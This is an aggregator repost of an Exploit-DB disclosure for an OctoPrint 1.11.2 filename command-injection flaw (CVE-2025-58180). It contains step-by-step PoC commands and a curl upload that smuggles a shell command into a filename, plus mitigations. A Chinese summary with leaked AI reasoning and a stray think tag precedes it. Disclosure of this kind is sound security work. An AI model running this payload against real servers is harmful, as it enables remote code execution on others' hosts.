[webapps] OctoPrint 1.11.2 - File Upload
嗯,用户让我帮忙总结一下这篇文章的内容,控制在一百个字以内,而且不需要特定的开头。首先,我得仔细阅读文章内容,找出关键信息。 文章标题是关于OctoPrint 1.11.2的一个文件上传漏洞。作者是prabhatverma.addada,漏洞影响版本是<=1.11.2,修复版本是1.11.3。CVE编号是CVE-2025-58180,CVSS评分7.5,属于远程代码执行。 漏洞的原理是攻击者上传一个包含shell元字符的文件名,绕过文件名的过滤机制。当系统事件处理器处理这个文件时,就会执行任意命令。触发这个漏洞需要有上传权限,不需要管理员权限。 修复措施包括升级到新版本、禁用相关事件处理器、配置严格的文件名规则等。 现在要把这些信息浓缩到一百字以内。我需要抓住主要点:漏洞名称、影响版本、攻击方式、利用条件和修复方法。 所以总结应该是:OctoPrint 1.11.2存在远程代码执行漏洞,攻击者通过上传特定文件名触发系统事件处理器执行命令。需要认证上传权限即可利用。已修复于1.11.3。 </think> OctoPrint 1.11.2 存在远程代码执行漏洞,允许攻击者通过上传特定格式的文件名触发系统事件处理器执行任意命令。该漏洞无需管理员权限即可利用,默认配置下易受攻击。已修复于 1.11.3 版本。 2026-2-4 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:2 收藏

# Exploit Title: OctoPrint 1.11.2 - File Upload 
# Date: 2025-09-28
# Exploit Author: prabhatverma.addada
# Vendor Homepage: https://octoprint.org
# Software Link: https://github.com/OctoPrint/OctoPrint
# Affected Version(s): <= 1.11.2
# Patched Version(s): 1.11.3
# CVE: CVE-2025-58180
# CVSS (per advisory): 7.5
# Platform: Linux / OctoPrint server
# Type: Remote Code Execution (requires authenticated upload / API key or session)
#
# Short description:
# An authenticated attacker with file-upload access can craft a filename containing shell metacharacters (e.g. ';', ${IFS}) which bypasses filename
# sanitization and, when interpolated into a configured system event handler command, results in arbitrary command execution on the host.
#
# Scope & privileges:
# - Trigger privileges: Authenticated file-upload (API key or valid session). NO admin/root required to trigger the attack.
# - Precondition: A system event handler that executes shell commands using filename/path placeholders must be configured by an administrator.
#
# Tested on:
# - OctoPrint 1.11.2 running via `octoprint serve --port 5000` on Ubuntu 22.04
#
# Reproduction / PoC (manual):
#
# 1) Start OctoPrint 1.11.2:
#    octoprint serve --port 5000 --debug
#    Complete initial setup at http://127.0.0.1:5000 and create an admin user.
#
# 2) Configure a system event handler that runs shell commands with filename placeholders:
#    Edit ~/.octoprint/config.yaml and add:
#
#    events:
#      enabled: true
#      subscriptions:
#        - event: FileAdded
#          type: system
#          debug: true
#          command: "{path}"
#
#    Restart OctoPrint.
#
# 3) Create a harmless test gcode:
#    mkdir -p /tmp/gcode
#    cat > /tmp/gcode/ok.gcode <<'EOF'
#    ; minimal gcode
#    G28
#    M105
#    EOF
#
# 4) Obtain API key from Settings -> API and export it:
#    export API_KEY='<your_api_key_here>'
#
# 5) Ensure target proof file does not exist:
#    ls -la /tmp/test123
#
# 6) PoC upload (non-destructive proof):
#    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'
#
#    curl -sS -X POST -H "X-Api-Key: $API_KEY" \
#      -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
#      "http://127.0.0.1:5000/api/files/local"
#
# 7) Verify execution:
#    ls -la /tmp/test123
#    If /tmp/test123 exists, the injected command executed and RCE is demonstrated.
#
# Explanation:
# - OctoPrint accepted the uploaded filename (sanitize_name allowed these characters in default config).
# - FileAdded event payload contains the filename/path.
# - A system event subscriber executed a shell command with that placeholder via subprocess with shell=True and without placeholder escaping.
# - Shell metacharacters in the filename are interpreted by the shell and executed.
#
# Mitigations / Workarounds:
# - Upgrade OctoPrint to 1.11.3 (patched).
# - Disable event handlers using filename placeholders (set enabled: false or uncheck in GUI Event Manager).
# - Set feature.enforceReallyUniversalFilenames: true in config.yaml and vet existing uploads.
# - Do not expose OctoPrint to hostile networks; restrict upload access.
#
# References:
# - GitHub Security Advisory: https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-49mj-x8jp-qvfc
# - PoC repo: https://github.com/prabhatverma47/CVE-2025-58180
#
# Notes for triage:
# - Exploit requires only authenticated upload privileges to trigger. No admin/root required to perform the attack.
# - PoC uses non-destructive `touch /tmp/test123`.
            

文章来源: https://www.exploit-db.com/exploits/52476
如有侵权请联系:admin#unsafe.sh